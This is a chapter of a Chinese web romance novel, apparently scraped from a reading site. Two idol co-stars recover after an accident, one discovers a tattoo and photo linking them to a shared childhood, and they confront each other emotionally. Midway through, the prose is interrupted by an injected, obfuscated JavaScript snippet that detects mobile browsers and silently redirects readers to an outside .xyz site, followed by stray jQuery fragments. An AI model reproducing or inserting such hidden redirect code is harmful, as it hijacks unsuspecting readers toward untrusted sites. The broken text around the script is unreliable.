23.符纹

作品:《热搜占领

    意识仿佛又回到了那艘破船上,随着断裂的甲板一同坠入燃烧的海面。


    猛地,场景切换到医院,刺鼻的消毒水气味和令人心颤的仪器滴答声充斥着感官。


    他没有在病房找到顾倩,最终在天台看到了她的背影。


    他不知道她如何坐着轮椅来到天台,也无法解释自己为何会想到这里。


    “姐?”


    顾一隅试着喊了声,但没应。


    顾倩背对着他,肩膀不停地抖。


    他走近,脱下外套给她披上。


    刚一伸手,就被一双被水泡得发胀发白还流着血的手抓住。


    顾倩发出一声声哀嚎,顾一隅抽不回手,不敢去看她的脸。


    再次睁眼,眼前已是当年的事故现场。


    救援队匆忙穿梭,岸上哭声一片。


    顾一隅慌乱寻找,一支救援队从他面前经过,担架上的人面色死白,毫无生机,唇色泛紫发青。


    仔细辨认,发现那是江凛然!


    心脏一搐,顾一隅恨不得冲过去。


    “江凛然!”


    脚下一空,一摔,疼得叫出了声。


    顾一隅喘着气,见自己裹着被子摔在了地上。


    落地窗被风吹得开合,黄昏的光从夹缝透入,投下一道狭长的金色光柱。


    偌大的房间只有他一个人。


    “......”


    他抹去额头的冷汗,撑着床站直。


    身体的酸痛和鼻腔呼吸的疼感席卷而上,差点又摔个仰朝天。


    “叮——”


    房门被打开。


    “好累啊,不知道一隅他们怎么——诶一隅你醒了!”


    于星舟走在最前面,惊喜地加快脚步:“你怎么起来了,快坐下!”


    顾一隅看他身后还跟着摄影大哥,估计团综还在录制,有点没反应过来,任凭于星舟把他摁回床上,然后打了个电话。


    没几分钟,人都涌向他这儿了。


    私人医生检查完后,输了个营养液,带着人走了。


    一群人看他喝粥,顾一隅忽地懂了猴子吃个香蕉被围观的感觉。


    “你不吃了?多吃点啊,这海鲜粥可营养了。”于星舟正剥着橘子。


    顾一隅放下勺,把仅喝了一半的粥搁一边,不知道说什么。


    望着大家脸上严肃又担忧的表情,他仿佛又回到他从吊威亚掉下的情景。


    还是这么窝囊。


    “抱歉,让你们担心了,”他抿唇道,“还耽误了进度。”


    几人互望几秒,任新安咳着:“没事一隅,基本都拍完了,差收尾工作,这两天都是拍的单人镜头和我俩的部分。”


    于星舟:“就是!而且天气不好,你醒着也没事干。”


    “我睡了两天?”顾一隅惊道,看向徐姚。


    徐姚:“……”


    她捏了把眉心,把热搜点开给他看:“这次意外发了声明,暂且平息了。”


    顾一隅这才点了头。


    自家艺人又是这副打了霜的模样,徐姚拍了他的头,说了几句打鸡血的话,叫任新安两人去选海报成图。


    “没问题,我把粥再端去江凛然房里看他醒没醒。”


    于星舟把橘子塞进嘴里。


    “你刚说什么?”顾一隅拉住他,“江凛然怎么了?”


    意识到说了什么,于星舟瞟向任新安,橘汁从嘴缝里渗出。


    任新安叹气道:“江凛然把你救上来之后,一直迷迷糊糊,刚才去看他还没醒。”


    顾一隅蹭地下床。


    “诶你干嘛?”于星舟赶忙扶住。


    “我去找他。”


    “哎哟我服了,你摔进医院他守了两夜,现在他昏着你这刚醒又过去守他,”他啧道,“怎么,礼尚往来啊。”


    顾一隅再次吃惊地望着他。


    “我更要去。”他咽下唾沫,“他万一死了,我就得被人肉。”


    不等人阻拦,他就迅速套了件外套,拿上粥就关了房门。


    客厅灯亮得刺眼,但顾一隅径直走向那人的房间。


    轻轻推开了条缝,里面只有一小块的残橘夕阳落在床上。


    比他那儿还黑。


    他把粥放在床头柜,站着。


    天色迅速暗沉,天边最后一抹霞光也终于耗尽。


    屋内仍没开灯,风把帘子吹得一开一合。


    借着黯淡的光,他看着江凛然躺在床上,露出截输完液的手臂,脸色有点发白,呼吸轻而平稳。


    顾一隅不知站了多久,思绪放空。


    这是第二次。


    命是他捡回来的。


    他好像捉摸不透。


    和自己有边界,却在关键时刻总是有他的身影。


    如量子纠缠,紊乱而稳定。


    感激,疑惑,内疚,恼火......各种情绪涌向心脏,抽着疼。


    终于打开暖壁灯,开关声或许打扰到某人,江凛然动了下。


    以为要醒,准备撤退,但过了好一会儿都没动静。


    他替江凛然掖好掀开的被角,凑近时才发觉对方额头上沁出了汗。


    摸着还有点烫。


    顾一隅暗骂了声,心想为什么没人。


    可当看到垃圾桶里有退烧剂瓶时,又泄了气。


    做这行的,不到万不得已,不会选择去医院。


    否则一旦暴露,又会引来无数揣测和非议。


    久而久之,想解释的力气都不复存在。


    人气越高,公司想瞒的事越多,有问题私下解决就完了。


    就这么点自由。


    可能作用刚起效,顾一隅感觉他没人管有点悲催,便接了盆热水,用一次性毛巾替他擦汗。


    顾一隅半跪着,拿毛巾从他额头处往下点,时不时看下这人的反应。


    擦至脖颈时,才注意到江凛然身上的衬衫扣子散了几颗,露出一半前胸。


    “......”


    顾一隅只觉心脏扯着额头狂跳。


    突然,江凛然的唇动了动,说着什么。


    再近了点,听清他念的是“妈”。


    “......”


    把这人妈都给激出来了。


    有点意外,可能是想家了。


    他也更感觉此刻他像趁虚而入的狼。


    顾一隅闭眼擦拭,但隔着毛巾,也能清晰感受到江凛然起伏的胸脯和不知是谁有力的心跳。


    盲人模式快憋不住了,睁眼打算收手。


    可猛地发现,对方锁骨下方靠近心脏的位置,有一小片黑色的印记。


    像是纹身。


    挑了下眉,顾一隅把衣服往旁扒开。


    那里纹着一个字母“Y”,上面还有一条贯穿的横线。


    顾一隅脑子一下停运,缺氧。


    他想立刻把江凛然摇醒。


    那个符号,他从未对别人提起过。


    这么久以来,他似乎只对一个人画过。


    想到什么,顾一隅环视周围,目光锁定角落的行李箱。


    他顾不了那么多,迅速过去翻找。


    相框仍在原位。


    他一手拿着相框,一边掏出手机点开相册,对比两张光线差不多的照片。


    用了好几个画质修复的软件,才勉强辨认出那张米纸上画的标记。


    再仔细去看那小男孩,是同一个。


    脑内又轰的一声。


    是江凛然。


    一直都是 。


    他现在才知道。


    之前好几次刚有点头绪想要验证时总被打断,他也没太上心。


    所以,当初江凛然跟他谈这个话题,才会说出他当时半懂不懂的话。


    顾一隅捏着发黄相片,再次望向他,整个人发着抖。


    -


    凉感逐而明显,头沉得厉害。


    恍惚听到有人在叫他,江凛然寻找着声源,但房子大得无边,空气弥漫着铁锈味。


    熟悉的女声从侧边传来,他伸手去摸开关,却见手心一滩血迹。


    还有乐声回荡。


    江凛然发不出声,但他知道,这声音的主人早已逝去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248120|181321||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    像是习惯了这梦境,他内心一片死寂。


    睁开了眼,模糊的视线慢慢聚焦。


    米白的天花板反着光,还能听见外面游客的嬉闹声。


    拭去眼角的泪,准备起身,但发觉被子被压住。


    转头看,一个人趴睡在他床边。


    这人倒还记得给自己披了条薄薄的绒毛毯。


    风吹动着顾一隅头顶的杂毛,像蒲公英来回摆,还闻到淡淡的盐柠味。


    大概没休息好,眼下泛着青,闭着的眼皮有些肿。


    江凛然愣了几秒,咽下干透的喉,才确信已脱离虚境。


    他伸出手在空中停顿片刻,最终在那若隐若现的影子最上端划了一下。


    紧接着,影子动了动。


    顾一隅咳了几下,打了个长哈欠,起身活动发酸的脖和背。


    随后对上江凛然的视线。


    “......”顾一隅睁大了眼,“你醒了啊。”


    “刚醒。”


    “那怎么不叫我。”顾一隅揉着眼。


    “你压着我,动不了。”


    这回答没让他失望。


    听他嗓音有些哑,顾一隅没接话,接了杯温水:“喝,渴死了还得算我的。”


    他漠着脸:“哦还有,摸你还发烧没,别烧死了。”


    话落,江凛然往前倾了身。


    “干嘛?”顾一隅往后退。


    “你不是要摸么?”江凛然盯着他。


    即便他脸色看起来没那么好,还瘦了点,但那脸板得耐寒植物都会阵亡。


    可顾一隅的弦却在猛跳,他想把这筋扯出来给砍了。


    “你自己摸!”他叫道,“我又不是你佣——”


    江凛然只轻笑了声,断了他的话。


    他又回过神,低头咬着嘴唇。


    对着这个人,那几个字就像嘴上粘了胶水。


    “你出去吧,我没事了。”


    顾一隅抬眸,含糊着:“江凛然,谢谢。”


    “还有,对不起。”


    江凛然望着面前这人,看着他纠结的神情。


    “别跟我道歉。”


    “?”


    “该说对不起的,是你自己。”江凛然压了点眉,“你当时在想什么,如果明知道自己害怕,就该说出来,而不是逞强以为能扛过去,最后弄得自己遍体鳞伤。”


    被戳中了刺,顾一隅也没办法去想他怎么猜到的。


    “我要怎么说,”他嗓子开始痛,“我要说了这镜头就得取消,其他方案都没这个好,我能扛我能克服就——”


    “就成了现在这样?”江凛然说。


    现在这样。


    一群人担忧,进度变慢,还喜提两个伤者。


    质问的事实,让人无法反驳。


    江凛然继续道:“你这样做,考虑过后果吗?”


    “是!是我不对!我没提前告诉你们,可这有什么好提的!”一股劲儿冲上头,顾一隅忍着火,“那你呢?也是逗着我好玩儿吗?”


    “什么?”


    顾一隅拿起柜面上的相框,喘着气:“照片上的人是你,对吧?”


    那人只凝视,未语。


    “还有,你身上的纹身,哪儿来的?”


    江凛然面色终于变了:“你——”


    没说完,他就被顾一隅推回到床上。


    顾一隅双腿半跪在床,双手揪着他衣领,有些抖:“你是不是看到我什么都不知道要一点一点去猜,最后发现是你,你他妈看着特别爽啊!”


    江凛然背磕着有点疼,想说什么。


    一抬头,脸上滴到了冰凉的液体。


    他见着顾一隅眼底猩红,下唇被咬得渗出血,泪滑落至下巴。


    “......”


    “操·你妈的江凛然,”顾一隅松了只手,低头自语,“你为什么不说,两次都是你……”


    看人软了下去,他最终伸手抚上顾一隅的后脑勺,抵在自己的肩膀。


    江凛然紧闭的唇微微颤动,沉道:


    “哥,别哭。”